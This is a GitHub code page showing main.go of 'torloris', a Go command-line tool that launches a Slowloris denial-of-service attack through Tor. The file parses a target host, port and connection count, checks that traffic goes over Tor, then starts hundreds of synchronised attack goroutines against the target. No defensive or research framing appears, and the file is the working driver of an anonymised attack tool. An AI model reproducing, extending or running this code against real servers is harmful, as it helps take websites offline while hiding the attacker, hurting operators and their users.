-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
67 lines (51 loc) · 1.43 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package main
import (
"fmt"
"os"
"flag"
"os/signal"
"syscall"
"github.com/tacusci/logging"
"github.com/tauraamui/torloris/slowloris"
)
type options struct {
target string
port string
connections int
}
func main() {
opts := options{}
flag.StringVar(&opts.target, "target", "", "address of target endpoint")
flag.StringVar(&opts.port, "port", "80", "http port to use")
flag.IntVar(&opts.connections, "connections", 500, "number of concurrent connections")
flag.Parse()
client, err := slowloris.NewClient()
if err != nil {
logging.ErrorAndExit(err.Error())
}
go listenForStopSig(client)
logging.InfoNnlNoColor("Checking connected via Tor service... ")
if client.CheckTorConnection() {
logging.GreenOutput("Connected!\n")
} else {
logging.RedOutput("Not connected!\n")
}
client.Running = true
//force all connections to start sending at exact same time
start := make(chan struct{})
for i := 0; i < opts.connections; i++ {
go client.Attack(&start, fmt.Sprintf("%s:%s", opts.target, opts.port))
}
close(start)
for client.Running { client.Stop <- false }
client.Stop <- true
}
func listenForStopSig(client *slowloris.Client) {
var gracefulStop = make(chan os.Signal)
signal.Notify(gracefulStop, syscall.SIGTERM)
signal.Notify(gracefulStop, syscall.SIGINT)
sig := <-gracefulStop
client.Close()
logging.Error(fmt.Sprintf("☠️ Caught sig: %+v (Shutting down and cleaning up...) ☠️", sig))
os.Exit(0)
}